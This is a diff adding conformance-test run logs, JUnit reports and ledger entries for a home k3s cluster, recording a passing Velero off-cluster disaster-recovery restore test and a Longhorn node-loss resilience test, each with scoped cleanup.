+        EOF
+        
+        kubectl -n "$SRC" wait --for=condition=Ready pod/dr-workload --timeout=300s
+        printf '%s' "$CANARY" | kubectl -n "$SRC" exec -i dr-workload -- sh -c 'cat > /data/canary && sync'
+        echo "seeded canary: $(kubectl -n "$SRC" exec dr-workload -- cat /data/canary)"
+        
+        ORIG_PV="$(kubectl -n "$SRC" get pvc dr-data -o jsonpath='{.spec.volumeName}')"
+        [ -n "$ORIG_PV" ] || { echo "FAIL: source PVC never bound to a PV" >&2; exit 1; }
+        echo "original in-cluster PersistentVolume: $ORIG_PV"
+        
+        # ======================= WHEN (part 1): back up off-cluster =======
+        # Created as a Velero Backup CR -- exactly what `velero backup create` does.
+        # defaultVolumesToFsBackup:true selects the kopia File System Backup path, so
+        # the VOLUME DATA (not just the resource JSON) is uploaded to the object store.
+        # ttl is short: if the finally-step DeleteBackupRequest is ever lost, Velero's
+        # own GC still removes this drill's objects from the bucket.
+        kubectl apply -f - <<EOF
+        apiVersion: velero.io/v1
+        kind: Backup
+        metadata:
+          name: ${BK}
+          namespace: ${VNS}
+          labels:
+            conformance.home.k3s/created-by: ${NS}
+        spec:
+          includedNamespaces: [${SRC}]
+          storageLocation: ${BSL_NAME}
+          snapshotVolumes: false
+          defaultVolumesToFsBackup: true
+          ttl: 2h0m0s
+        EOF
+        
+        BPHASE=""
+        for i in $(seq 1 90); do
+          BPHASE="$(kubectl -n "$VNS" get backups.velero.io "$BK" -o jsonpath='{.status.phase}' 2>/dev/null || true)"
+          echo "poll $i: backup phase=${BPHASE:-<pending>}"
+          case "${BPHASE:-}" in
+            Completed|Failed|PartiallyFailed|FailedValidation) break ;;
+          esac
+          sleep 10
+        done
+        if [ "${BPHASE:-}" != "Completed" ]; then
+          echo "FAIL: off-cluster backup did not complete (phase=${BPHASE:-<timeout>})" >&2
+          kubectl -n "$VNS" get backups.velero.io "$BK" -o yaml >&2 || true
+          exit 1
+        fi
+        echo "backup $BK Completed to ${BSL_NAME}"
+        
+        # ---- OFF-CLUSTER PROOF (3): the VOLUME DATA really landed in the remote
+        #      kopia repository -- a PodVolumeBackup Completed with a snapshot ID.
+        PVB="$(kubectl -n "$VNS" get podvolumebackups.velero.io \
+                 -l velero.io/backup-name="$BK" \
+                 -o jsonpath='{range .items[*]}{.metadata.name}{" "}{.status.phase}{" "}{.status.snapshotID}{"\n"}{end}' 2>/dev/null || true)"
+        echo "pod volume backups:"
+        echo "$PVB"
+        if [ -z "$(echo "$PVB" | tr -d '[:space:]')" ]; then
+          echo "FAIL: the backup captured NO pod volume data (no PodVolumeBackup)." >&2
+          echo "      Resource-only backups cannot restore DR-critical DATA." >&2
+          exit 1
+        fi
+        # A line is "<name> <phase> <snapshotID>"; require Completed AND a
+        # non-empty snapshot ID (an empty ID means nothing reached the repository).
+        GOOD_PVB="$(echo "$PVB" | grep -cE ' Completed [^[:space:]]+$' || true)"
+        if [ "${GOOD_PVB:-0}" -lt 1 ]; then
+          echo "FAIL: no PodVolumeBackup reached phase Completed with a snapshot ID --" >&2
+          echo "      the volume data did not reach the off-cluster repository." >&2
+          exit 1
+        fi
+        echo "volume data uploaded off-cluster (PodVolumeBackup Completed with a kopia snapshotID)"
+        
+        # ============ WHEN (part 2): FAULT INJECTION -- annihilate the source ====
+        # Destroy EVERY in-cluster copy: the pod, the PVC, the namespace, and the
+        # underlying PersistentVolume (and with it the Longhorn replicas). After this
+        # there is no in-cluster source the restore could quietly read from.
+        kubectl delete namespace "$SRC" --wait=true --timeout=420s
+        for i in $(seq 1 30); do
+          if ! kubectl get namespace "$SRC" >/dev/null 2>&1; then break; fi
+          echo "poll $i: waiting for namespace $SRC to disappear"
+          sleep 10
+        done
+        if kubectl get namespace "$SRC" >/dev/null 2>&1; then
+          echo "FAIL: source namespace $SRC did not terminate; the destroy step is not convincing" >&2
+          exit 1
+        fi
+        echo "source namespace destroyed"
+        
+        # The longhorn StorageClass reclaims Delete, so the PV should already be gone;
+        # force it if a Retain policy (or a stuck finalizer) left it behind, because a
+        # surviving PV would make the restore prove nothing about off-cluster recovery.
+        kubectl delete pv "$ORIG_PV" --ignore-not-found --wait=false || true
+        for i in $(seq 1 30); do
+          if ! kubectl get pv "$ORIG_PV" >/dev/null 2>&1; then break; fi
+          echo "poll $i: waiting for PersistentVolume $ORIG_PV to disappear"
+          sleep 10
+        done
+        if kubectl get pv "$ORIG_PV" >/dev/null 2>&1; then
+          echo "FAIL: the original PersistentVolume $ORIG_PV SURVIVED the destroy step." >&2
+          echo "      An in-cluster copy of the data still exists, so a successful restore" >&2
+          echo "      would NOT prove recovery from the off-cluster backup. Refusing to pass." >&2
+          exit 1
+        fi
+        echo "original PersistentVolume $ORIG_PV is GONE -- no in-cluster copy of the data remains"
+        
+        # Best-effort corroboration (the least-privilege runner may not read longhorn.io):
+        # the Longhorn Volume CR and its replicas should be gone too.
+        if kubectl -n longhorn-system get volumes.longhorn.io "$ORIG_PV" >/dev/null 2>&1; then
+          echo "FAIL: Longhorn Volume $ORIG_PV still exists after PV deletion -- replicas survive in-cluster" >&2
+          exit 1
+        fi
+        echo "(longhorn Volume CR $ORIG_PV not present -- either deleted or not readable by this identity)"
+        
+        # ============================ RESTORE ============================
+        # Into a CLEAN, previously-nonexistent namespace (Velero creates it), which is
+        # the catalog's "restored into a clean state".
+        kubectl apply -f - <<EOF
+        apiVersion: velero.io/v1
+        kind: Restore
+        metadata:
+          name: ${RS}
+          namespace: ${VNS}
+          labels:
+            conformance.home.k3s/created-by: ${NS}
+        spec:
+          backupName: ${BK}
+          includedNamespaces: [${SRC}]
+          namespaceMapping:
+            ${SRC}: ${DST}
+          existingResourcePolicy: none
+        EOF
+        
+        RPHASE=""
+        for i in $(seq 1 90); do
+          RPHASE="$(kubectl -n "$VNS" get restores.velero.io "$RS" -o jsonpath='{.status.phase}' 2>/dev/null || true)"
+          echo "poll $i: restore phase=${RPHASE:-<pending>}"
+          case "${RPHASE:-}" in
+            Completed|Failed|PartiallyFailed|FailedValidation) break ;;
+          esac
+          sleep 10
+        done
+        if [ "${RPHASE:-}" != "Completed" ]; then
+          echo "FAIL: restore did not complete (phase=${RPHASE:-<timeout>})" >&2
+          kubectl -n "$VNS" get restores.velero.io "$RS" -o yaml >&2 || true
+          kubectl -n "$VNS" get podvolumerestores.velero.io -l velero.io/restore-name="$RS" -o wide >&2 || true
+          exit 1
+        fi
+        echo "restore $RS Completed into $DST"
+        
+        # ============================= THEN ==============================
+        # The service returns WITH ITS DATA. With kopia FSB the restored pod carries a
+        # `restore-wait` init container that blocks until the node-agent has written the
+        # volume contents back, so Ready here already implies the data landed.
+        if ! kubectl -n "$DST" wait --for=condition=Ready pod/dr-workload --timeout=600s; then
+          echo "FAIL: restored workload never became Ready in the clean namespace $DST" >&2
+          kubectl -n "$DST" describe pod dr-workload >&2 || true
+          kubectl -n "$VNS" get podvolumerestores.velero.io -l velero.io/restore-name="$RS" -o wide >&2 || true
+          exit 1
+        fi
+        
+        NEW_PV="$(kubectl -n "$DST" get pvc dr-data -o jsonpath='{.spec.volumeName}' 2>/dev/null || true)"
+        echo "restored PVC bound to PersistentVolume: ${NEW_PV:-<none>}"
+        [ -n "$NEW_PV" ] || { echo "FAIL: restored PVC did not bind a PV" >&2; exit 1; }
+        if [ "$NEW_PV" = "$ORIG_PV" ]; then
+          echo "FAIL: the restored PVC rebound the ORIGINAL PersistentVolume ($ORIG_PV)." >&2
+          echo "      That is an in-cluster survival, not an off-cluster restore." >&2
+          exit 1
+        fi
+        echo "restored onto a NEW volume ($NEW_PV != $ORIG_PV) -- the data came from outside the cluster"
+        
+        GOT="$(kubectl -n "$DST" exec dr-workload -- cat /data/canary)"
+        echo "recovered='$GOT' expected='$CANARY'"
+        if [ "$GOT" != "$CANARY" ]; then
+          echo "FAIL: restored data does not match what was backed up -- DR restore lost/corrupted data" >&2
+          exit 1
+        fi
+        
+        echo DR_RESTORED_FROM_OFF_CLUSTER_BACKUP_OK
+    l.go:52: | 02:17:18 | dr-restore | data-restores-from-the-off-cluster-backup | SCRIPT    | LOG   |
+        === STDOUT
+        velero ns=velero bsl=default src=chainsaw-glorious-sheep-dr-src dst=chainsaw-glorious-sheep-dr-dst
+        namespace/chainsaw-glorious-sheep-dr-src created
+        namespace/chainsaw-glorious-sheep-dr-src labeled
+        persistentvolumeclaim/dr-data created
+        pod/dr-workload created
+        pod/dr-workload condition met
+        seeded canary: dr-canary-1789352108935754215
+        original in-cluster PersistentVolume: pvc-4107d59d-a34f-4cba-bd2a-c5b2446156d9
+        backup.velero.io/chainsaw-glorious-sheep-dr-backup created
+        poll 1: backup phase=InProgress
+        poll 2: backup phase=InProgress
+        poll 3: backup phase=InProgress
+        poll 4: backup phase=Completed
+        backup chainsaw-glorious-sheep-dr-backup Completed to default
+        pod volume backups:
+        chainsaw-glorious-sheep-dr-backup-2gjrq Completed 979eed437233b45c7f85ba80074ab56b
+        volume data uploaded off-cluster (PodVolumeBackup Completed with a kopia snapshotID)
+        namespace "chainsaw-glorious-sheep-dr-src" deleted
+        source namespace destroyed
+        original PersistentVolume pvc-4107d59d-a34f-4cba-bd2a-c5b2446156d9 is GONE -- no in-cluster copy of the data remains
+        (longhorn Volume CR pvc-4107d59d-a34f-4cba-bd2a-c5b2446156d9 not present -- either deleted or not readable by this identity)
+        restore.velero.io/chainsaw-glorious-sheep-dr-restore created
+        poll 1: restore phase=InProgress
+        poll 2: restore phase=InProgress
+        poll 3: restore phase=InProgress
+        poll 4: restore phase=Completed
+        restore chainsaw-glorious-sheep-dr-restore Completed into chainsaw-glorious-sheep-dr-dst
+        pod/dr-workload condition met
+        restored PVC bound to PersistentVolume: pvc-f0c061e1-c080-49f2-a381-23da5c886df2
+        restored onto a NEW volume (pvc-f0c061e1-c080-49f2-a381-23da5c886df2 != pvc-4107d59d-a34f-4cba-bd2a-c5b2446156d9) -- the data came from outside the cluster
+        recovered='dr-canary-1789352108935754215' expected='dr-canary-1789352108935754215'
+        DR_RESTORED_FROM_OFF_CLUSTER_BACKUP_OK
+        === STDERR
+        Defaulted container "app" out of: app, restore-wait (init)
+    l.go:52: | 02:17:18 | dr-restore | data-restores-from-the-off-cluster-backup | SCRIPT    | DONE  |
+    l.go:52: | 02:17:18 | dr-restore | data-restores-from-the-off-cluster-backup | TRY       | END   |
+    l.go:52: | 02:17:18 | dr-restore | data-restores-from-the-off-cluster-backup | FINALLY   | BEGIN |
+    l.go:52: | 02:17:18 | dr-restore | data-restores-from-the-off-cluster-backup | CMD       | RUN   |
+        === COMMAND
+        /usr/bin/sh -c set -u
+        NS="$NAMESPACE"
+        SRC="${NS}-dr-src"; DST="${NS}-dr-dst"; BK="${NS}-dr-backup"; RS="${NS}-dr-restore"
+        
+        VNS="$(kubectl get backupstoragelocations.velero.io -A -o jsonpath='{.items[0].metadata.namespace}' 2>/dev/null || true)"
+        
+        # Velero objects first: a DeleteBackupRequest makes Velero remove the backup
+        # DATA from the off-cluster bucket, not just the CR (self-cleaning contract).
+        if [ -n "$VNS" ]; then
+          kubectl -n "$VNS" delete restores.velero.io "$RS" --ignore-not-found --wait=false || true
+          if kubectl -n "$VNS" get backups.velero.io "$BK" >/dev/null 2>&1; then
+            kubectl apply -f - <<EOF || true
+        apiVersion: velero.io/v1
+        kind: DeleteBackupRequest
+        metadata:
+          name: ${BK}-delete
+          namespace: ${VNS}
+          labels:
+            conformance.home.k3s/created-by: ${NS}
+        spec:
+          backupName: ${BK}
+        EOF
+            for i in $(seq 1 18); do
+              kubectl -n "$VNS" get backups.velero.io "$BK" >/dev/null 2>&1 || break
+              sleep 10
+            done
+            # Backstop if Velero could not process the request (the 2h ttl also GCs it).
+            kubectl -n "$VNS" delete backups.velero.io "$BK" --ignore-not-found --wait=false || true
+            kubectl -n "$VNS" delete deletebackuprequests.velero.io "${BK}-delete" --ignore-not-found --wait=false || true
+          fi
+          echo "velero objects for $NS cleaned up (ns $VNS)"
+        fi
+        
+        # Scratch namespaces (both, in case the run aborted at any point).
+        for n in "$DST" "$SRC"; do
+          kubectl delete namespace "$n" --ignore-not-found --wait=false || true
+        done
+        # Anything left labelled as ours (defensive; the two names above are the only
+        # namespaces this test ever creates).
+        kubectl delete namespace -l "conformance.home.k3s/created-by=${NS}" --ignore-not-found --wait=false || true
+        
+        # Released PVs from either namespace's PVCs would otherwise leak storage.
+        for pv in $(kubectl get pv -o jsonpath='{range .items[*]}{.metadata.name}{" "}{.spec.claimRef.namespace}{"\n"}{end}' 2>/dev/null | grep -E " (${SRC}|${DST})$" | cut -d' ' -f1 || true); do
+          kubectl delete pv "$pv" --ignore-not-found --wait=false || true
+          echo "released leftover PersistentVolume: $pv"
+        done
+        
+        echo "dr-restore teardown complete (best-effort; every object was created by this test)"
+    l.go:52: | 02:17:30 | dr-restore | data-restores-from-the-off-cluster-backup | SCRIPT    | LOG   |
+        === STDOUT
+        restore.velero.io "chainsaw-glorious-sheep-dr-restore" deleted from velero namespace
+        deletebackuprequest.velero.io/chainsaw-glorious-sheep-dr-backup-delete created
+        velero objects for chainsaw-glorious-sheep cleaned up (ns velero)
+        namespace "chainsaw-glorious-sheep-dr-dst" deleted
+        namespace "chainsaw-glorious-sheep-dr-dst" deleted
+        persistentvolume "pvc-f0c061e1-c080-49f2-a381-23da5c886df2" deleted
+        released leftover PersistentVolume: pvc-f0c061e1-c080-49f2-a381-23da5c886df2
+        dr-restore teardown complete (best-effort; every object was created by this test)
+    l.go:52: | 02:17:30 | dr-restore | data-restores-from-the-off-cluster-backup | SCRIPT    | DONE  |
+    l.go:52: | 02:17:30 | dr-restore | data-restores-from-the-off-cluster-backup | FINALLY   | END   |
+    l.go:52: | 02:17:30 | dr-restore | @chainsaw                                 | CLEANUP   | BEGIN |
+    l.go:52: | 02:17:30 | dr-restore | @chainsaw                                 | DELETE    | OK    | v1/Namespace @ chainsaw-glorious-sheep
+    l.go:52: | 02:17:36 | dr-restore | @chainsaw                                 | CLEANUP   | END   |
+--- PASS: chainsaw (0.00s)
+    --- PASS: chainsaw/dr-restore (150.70s)
+PASS
+Tests Summary...
+- Passed  tests 1
+- Failed  tests 0
+- Skipped tests 0
+Done.
+merge_junit: merged 1 report(s) -> /work/conformance/_artifacts/report.junit.xml (tests=1 failures=0 errors=0 skipped=0)
+[run.sh] Done. JUnit: /work/conformance/_artifacts/report.junit.xml | Coverage: /work/conformance/_artifacts/coverage/coverage.md

conformance/runs/20260914T021902Z-bd17b65/report.junit.xml

@@ -0,0 +1,13 @@
+<?xml version="1.0" ?>
+<testsuites name="home-k3s-conformance" tests="1" failures="0" errors="0" skipped="0">
+  <testsuite name="home-k3s-conformance L0/L1 (offline)" tests="1" failures="0" errors="0" skipped="0">
+    <testcase classname="L0:R-ENV-02,R-STATE-03" name="placeholder-guard-coupling">
+      <properties>
+        <property name="requirements" value="R-ENV-02,R-STATE-03"/>
+        <property name="layer" value="L0"/>
+        <property name="path" value="/work/conformance/tests/l0-static/placeholder-guard-coupling"/>
+        <property name="scope" value=""/>
+      </properties>
+    </testcase>
+  </testsuite>
+</testsuites>

conformance/runs/20260914T021902Z-bd17b65/run.log

@@ -0,0 +1,7 @@
+[run.sh] Coverage report first (always)
+[coverage] 51/51 requirements have a scaffolded test (100.0%); 0 gap(s), 0 safety-critical gap(s).
+[coverage] wrote /work/conformance/_artifacts/coverage/coverage.md and /work/conformance/_artifacts/coverage/coverage.json
+[run.sh] Running 1 offline L0/L1 check(s) (no cluster; docs/14).
+[offline] L0  PASS placeholder-guard-coupling (R-ENV-02,R-STATE-03)
+[offline] wrote JUnit (1 case(s), 0 failure(s), 0 skip(s), 0 unwired) -> /work/conformance/_artifacts/report.junit.xml
+[run.sh] Done (offline l0). JUnit: /work/conformance/_artifacts/report.junit.xml | Coverage: /work/conformance/_artifacts/coverage/coverage.md

conformance/runs/20260919T051633Z-6eaaaae/run.log

@@ -0,0 +1,6 @@
+[run.sh] Coverage report first (always)
+[coverage] 51/51 requirements have a scaffolded test (100.0%); 0 gap(s), 0 safety-critical gap(s).
+[coverage] wrote /home/keith/source/home-network-k3s-impl/conformance/_artifacts/coverage/coverage.md and /home/keith/source/home-network-k3s-impl/conformance/_artifacts/coverage/coverage.json
+[run.sh] No L0/L1 offline checks match the selection (layer=l3 reqs='R-STATE-02').
+ERROR: cluster reachable but 'chainsaw' (v0.2.12) not on PATH.
+Install the pinned binary or run via the in-cluster Job (incluster/).

conformance/runs/20260919T052225Z-9339d5a/report.junit.xml

@@ -0,0 +1,4 @@
+<testsuites name="chainsaw-report" tests="1" failures="0" errors="0" time="0.000000"><testsuite name="/work/conformance/tests/l3-fault-injection/node-loss" tests="1" failures="0" errors="0" id="0" time="">
+    <testcase name="node-loss" classname="" time="115.855688" />
+  </testsuite>
+</testsuites>

conformance/runs/20260919T052225Z-9339d5a/run.log

@@ -0,0 +1,232 @@
+[run.sh] Coverage report first (always)
+[coverage] 51/51 requirements have a scaffolded test (100.0%); 0 gap(s), 0 safety-critical gap(s).
+[coverage] wrote /work/conformance/_artifacts/coverage/coverage.md and /work/conformance/_artifacts/coverage/coverage.json
+[run.sh] No L0/L1 offline checks match the selection (layer=l3 reqs='R-STATE-02').
+[run.sh] LIGHT pass: no tests selected.
+[run.sh] HEAVY pass: 1 test(s) SERIAL (parallel=1) — node-loss
+Version: 0.2.12
+Loading config (/work/conformance/config/chainsaw-config.yaml)...
+- Using test file: chainsaw-test
+- TestDirs [/work/conformance/tests/l3-fault-injection/node-loss]
+- SkipDelete false
+- FailFast false
+- ReportFormat 'JUNIT-TEST'
+- ReportName 'chainsaw-report-heavy'
+- ReportPath '/work/conformance/_artifacts'
+- Namespace ''
+- FullName false
+- IncludeTestRegex ''
+- ExcludeTestRegex ''
+- ApplyTimeout 1m30s
+- AssertTimeout 3m0s
+- CleanupTimeout 2m0s
+- DeleteTimeout 2m0s
+- ErrorTimeout 1m0s
+- ExecTimeout 3m0s
+- DeletionPropagationPolicy Background
+- Parallel 1
+- Template true
+- NoCluster false
+- PauseOnFailure false
+Loading tests...
+- node-loss (/work/conformance/tests/l3-fault-injection/node-loss)
+Loading values...
+Running tests...
+=== RUN   chainsaw
+=== PAUSE chainsaw
+=== CONT  chainsaw
+=== RUN   chainsaw/node-loss
+=== PAUSE chainsaw/node-loss
+=== CONT  chainsaw/node-loss
+    l.go:52: | 05:22:26 | node-loss | @chainsaw                               | CREATE    | OK    | v1/Namespace @ chainsaw-advanced-boxer
+    l.go:52: | 05:22:26 | node-loss | volume-stays-available-across-node-loss | TRY       | BEGIN |
+    l.go:52: | 05:22:26 | node-loss | volume-stays-available-across-node-loss | CMD       | RUN   |
+        === COMMAND
+        /usr/bin/sh -c set -euo pipefail
+        NS="$NAMESPACE"
+        
+        # -- Gate 1: skip cleanly (green) if the longhorn tier is not present yet. --
+        if ! kubectl get storageclass longhorn >/dev/null 2>&1; then
+          echo "SKIP: 'longhorn' StorageClass absent — node-loss not applicable on this cluster yet"
+          echo NODE_LOSS_SKIPPED_OK
+          exit 0
+        fi
+        
+        # -- Gate 2: a 3-replica volume + single-node-loss headroom needs >= 3 Ready nodes. --
+        READY="$(kubectl get nodes \
+          -o jsonpath='{range .items[*]}{.status.conditions[?(@.type=="Ready")].status}{"\n"}{end}' \
+          | grep -c '^True$' || true)"
+        echo "ready nodes: ${READY}"
+        if [ "${READY:-0}" -lt 3 ]; then
+          echo "SKIP: only ${READY:-0} Ready node(s) (<3) — node-loss resilience not meaningful yet"
+          echo NODE_LOSS_SKIPPED_OK
+          exit 0
+        fi
+        
+        CANARY="node-loss-canary-$(date +%s%N)"
+        
+        # -- GIVEN: a Longhorn PVC (platform default SC = 3 replicas across nodes) + a
+        #    writer pod that writes the canary and flushes it to the replicated volume. --
+        kubectl -n "$NS" apply -f - <<EOF
+        apiVersion: v1
+        kind: PersistentVolumeClaim
+        metadata:
+          name: survivor
+        spec:
+          accessModes: [ReadWriteOnce]
+          storageClassName: longhorn
+          resources:
+            requests:
+              storage: 1Gi
+        EOF
+        
+        apply_pod() {
+          kubectl -n "$NS" apply -f - <<EOF
+        apiVersion: v1
+        kind: Pod
+        metadata:
+          name: $1
+        spec:
+          restartPolicy: Never
+          containers:
+            - name: app
+              image: busybox:1.36.1
+              command: ["sh", "-c", "sleep 3600"]
+              volumeMounts:
+                - name: data
+                  mountPath: /data
+          volumes:
+            - name: data
+              persistentVolumeClaim:
+                claimName: survivor
+        EOF
+        }
+        
+        apply_pod writer
+        kubectl -n "$NS" wait --for=condition=Ready pod/writer --timeout=240s
+        printf '%s' "$CANARY" | kubectl -n "$NS" exec -i writer -- sh -c 'cat > /data/canary && sync'
+        echo "wrote canary: $(kubectl -n "$NS" exec writer -- cat /data/canary)"
+        
+        # The victim node is the one the attached volume currently lives on.
+        VICTIM="$(kubectl -n "$NS" get pod writer -o jsonpath='{.spec.nodeName}')"
+        [ -n "$VICTIM" ] || { echo "FAIL: could not determine writer's node" >&2; exit 1; }
+        echo "victim node (currently hosts the attached volume): $VICTIM"
+        
+        # Best-effort precondition log: if the Longhorn Volume CR is readable, show the
+        # volume is genuinely 3-replica/healthy before we take a node. Non-fatal (the
+        # runner is least-privilege and may not have longhorn.io read rights) — the
+        # data-availability assertion below is the authoritative proof, not this.
+        PVNAME="$(kubectl -n "$NS" get pvc survivor -o jsonpath='{.spec.volumeName}' 2>/dev/null || true)"
+        if [ -n "$PVNAME" ]; then
+          kubectl -n longhorn-system get volumes.longhorn.io "$PVNAME" \
+            -o jsonpath='pre-fault robustness={.status.robustness} replicas={.spec.numberOfReplicas}{"\n"}' \
+            2>/dev/null || echo "(Longhorn Volume CR not readable — continuing; data read is the proof)"
+        fi
+        
+        # -- WHEN: FAULT INJECTION — remove the victim node FROM SERVICE. --
+        #    Label it with THIS test's unique namespace so `finally` can always find and
+        #    uncordon exactly this node; then cordon it; then evict ONLY our own writer
+        #    pod, forcing the volume to detach from the victim. (No `drain` — unrelated
+        #    pods on the node are never touched.)
+        kubectl label node "$VICTIM" "conformance.home.k3s/cordoned-by=$NS" --overwrite
+        kubectl cordon "$VICTIM"
+        echo "cordoned + labelled victim node: $VICTIM"
+        kubectl -n "$NS" delete pod writer --wait=true --timeout=240s
+        echo "evicted writer off the victim node; volume detached from $VICTIM"
+        
+        # -- THEN: a fresh workload re-binds the SAME volume. The victim is unschedulable,
+        #    so the scheduler MUST place the reader on a SURVIVING node; Longhorn re-attaches
+        #    the volume there from its replicas on the other nodes. --
+        apply_pod reader
+        kubectl -n "$NS" wait --for=condition=Ready pod/reader --timeout=360s
+        READER_NODE="$(kubectl -n "$NS" get pod reader -o jsonpath='{.spec.nodeName}')"
+        echo "reader scheduled on surviving node: $READER_NODE (victim was $VICTIM)"
+        if [ "$READER_NODE" = "$VICTIM" ]; then
+          echo "FAIL: reader landed back on the cordoned victim node — node was not removed from service" >&2
+          exit 1
+        fi
+        
+        GOT="$(kubectl -n "$NS" exec reader -- cat /data/canary)"
+        echo "recovered='$GOT' expected='$CANARY'"
+        [ "$GOT" = "$CANARY" ] || { echo "FAIL: data not available after node loss" >&2; exit 1; }
+        echo "volume available + data intact from a surviving node"
+        
+        # Best-effort reconvergence log: if the Longhorn Volume CR is readable, wait
+        # (bounded) for robustness to settle back to available (healthy|degraded — both
+        # serve I/O; a healthy 3-replica volume rebuilds a replica once headroom exists).
+        # Non-fatal for the same least-privilege reason as the pre-fault log.
+        if [ -n "$PVNAME" ]; then
+          for i in $(seq 1 30); do
+            ROB="$(kubectl -n longhorn-system get volumes.longhorn.io "$PVNAME" \
+                  -o jsonpath='{.status.robustness}' 2>/dev/null || true)"
+            [ -z "$ROB" ] && { echo "(Longhorn Volume CR not readable — skipping reconvergence log)"; break; }
+            echo "post-fault robustness[$i]=$ROB"
+            case "$ROB" in healthy|degraded) break ;; esac
+            sleep 10
+          done
+        fi
+        
+        echo NODE_LOSS_VOLUME_AVAILABLE_OK
+    l.go:52: | 05:23:37 | node-loss | volume-stays-available-across-node-loss | SCRIPT    | LOG   |
+        === STDOUT
+        ready nodes: 3
+        persistentvolumeclaim/survivor created
+        pod/writer created
+        pod/writer condition met
+        wrote canary: node-loss-canary-1789795346371286043
+        victim node (currently hosts the attached volume): k3s-prod-2
+        pre-fault robustness=healthy replicas=3
+        node/k3s-prod-2 labeled
+        node/k3s-prod-2 cordoned
+        cordoned + labelled victim node: k3s-prod-2
+        pod "writer" deleted from chainsaw-advanced-boxer namespace
+        evicted writer off the victim node; volume detached from k3s-prod-2
+        pod/reader created
+        pod/reader condition met
+        reader scheduled on surviving node: k3s-prod-3 (victim was k3s-prod-2)
+        recovered='node-loss-canary-1789795346371286043' expected='node-loss-canary-1789795346371286043'
+        volume available + data intact from a surviving node
+        post-fault robustness[1]=healthy
+        NODE_LOSS_VOLUME_AVAILABLE_OK
+    l.go:52: | 05:23:37 | node-loss | volume-stays-available-across-node-loss | SCRIPT    | DONE  |
+    l.go:52: | 05:23:37 | node-loss | volume-stays-available-across-node-loss | TRY       | END   |
+    l.go:52: | 05:23:37 | node-loss | volume-stays-available-across-node-loss | FINALLY   | BEGIN |
+    l.go:52: | 05:23:37 | node-loss | volume-stays-available-across-node-loss | CMD       | RUN   |
+        === COMMAND
+        /usr/bin/sh -c set -uo pipefail
+        for n in $(kubectl get nodes -l "conformance.home.k3s/cordoned-by=$NAMESPACE" -o name 2>/dev/null); do
+          kubectl uncordon "${n#node/}" || true
+          kubectl label "$n" "conformance.home.k3s/cordoned-by-" || true
+          echo "restored node to service: ${n#node/}"
+        done
+    l.go:52: | 05:23:37 | node-loss | volume-stays-available-across-node-loss | SCRIPT    | LOG   |
+        === STDOUT
+        node/k3s-prod-2 uncordoned
+        node/k3s-prod-2 unlabeled
+        restored node to service: k3s-prod-2
+    l.go:52: | 05:23:37 | node-loss | volume-stays-available-across-node-loss | SCRIPT    | DONE  |
+    l.go:52: | 05:23:37 | node-loss | volume-stays-available-across-node-loss | CMD       | RUN   |
+        === COMMAND
+        /usr/bin/sh -c kubectl -n "$NAMESPACE" delete pod writer reader --ignore-not-found --wait=false || true
+        kubectl -n "$NAMESPACE" delete pvc survivor --ignore-not-found --wait=false || true
+        echo "cleanup best-effort; chainsaw namespace teardown finalizes"
+    l.go:52: | 05:23:38 | node-loss | volume-stays-available-across-node-loss | SCRIPT    | LOG   |
+        === STDOUT
+        pod "reader" deleted from chainsaw-advanced-boxer namespace
+        persistentvolumeclaim "survivor" deleted from chainsaw-advanced-boxer namespace
+        cleanup best-effort; chainsaw namespace teardown finalizes
+    l.go:52: | 05:23:38 | node-loss | volume-stays-available-across-node-loss | SCRIPT    | DONE  |
+    l.go:52: | 05:23:38 | node-loss | volume-stays-available-across-node-loss | FINALLY   | END   |
+    l.go:52: | 05:23:38 | node-loss | @chainsaw                               | CLEANUP   | BEGIN |
+    l.go:52: | 05:23:38 | node-loss | @chainsaw                               | DELETE    | OK    | v1/Namespace @ chainsaw-advanced-boxer
+    l.go:52: | 05:24:21 | node-loss | @chainsaw                               | CLEANUP   | END   |
+--- PASS: chainsaw (0.00s)
+    --- PASS: chainsaw/node-loss (115.86s)
+PASS
+Tests Summary...
+- Passed  tests 1
+- Failed  tests 0
+- Skipped tests 0
+Done.
+merge_junit: merged 1 report(s) -> /work/conformance/_artifacts/report.junit.xml (tests=1 failures=0 errors=0 skipped=0)
+[run.sh] Done. JUnit: /work/conformance/_artifacts/report.junit.xml | Coverage: /work/conformance/_artifacts/coverage/coverage.md

conformance/runs/ledger.jsonl

@@ -3,3 +3,6 @@
 {"chainsaw_version": "v0.2.12", "env": "prod", "git_sha": "19fc8bcb27eab42a0007b28a831519d3e325c7b6", "junit_result": "passed", "kube_version": "v1.36.4+k3s1", "layer": "L1", "note": "L1 offline check exited 0; run_l1_offline.py renders its skips as JUnit <skipped/>, so a green JUnit is truthful without a sentinel", "proof": "proven", "requirements": ["R-NET-05", "R-NET-06", "R-NET-07"], "run_id": "20260913T014321Z-19fc8bc", "sentinel": null, "test": "egress-class-render", "ts_utc": "2026-09-13T01:43:21Z"}
 {"chainsaw_version": "v0.2.12", "env": "prod", "git_sha": "19fc8bcb27eab42a0007b28a831519d3e325c7b6-dirty", "junit_result": "passed", "kube_version": "v1.36.4+k3s1", "layer": "L3", "note": "run log OUTPUT carries every declared pass token (NS_PRIVILEGED_OK, TUNNEL_HEALTHY_OK, NO_LEAK_OK, INTERNET_UNAFFECTED_OK, TUNNEL_SELF_HEAL_OK, TUNNEL_RECOVERED_OK) and no skip token [log scoped to this testcase; tokens read from real-output sections only]", "proof": "proven", "requirements": ["R-NET-06"], "run_id": "20260913T014437Z-19fc8bc", "sentinel": "TUNNEL_RECOVERED_OK", "test": "vpn-killswitch", "ts_utc": "2026-09-13T01:44:37Z"}
 {"chainsaw_version": "v0.2.12", "env": "prod", "git_sha": "9d0814ae61e6a0ba64d3789a71f1cd9c985efbf0", "junit_result": "passed", "kube_version": "v1.36.4+k3s1", "layer": "L3", "note": "run log OUTPUT carries every declared pass token (NS_PRIVILEGED_OK, TUNNEL_HEALTHY_OK, NO_LEAK_OK, INTERNET_UNAFFECTED_OK, TUNNEL_SELF_HEAL_OK, TUNNEL_RECOVERED_OK) and no skip token [log scoped to this testcase; tokens read from real-output sections only]", "proof": "proven", "requirements": ["R-NET-06"], "run_id": "20260913T014923Z-9d0814a", "sentinel": "TUNNEL_RECOVERED_OK", "test": "vpn-killswitch", "ts_utc": "2026-09-13T01:49:23Z"}
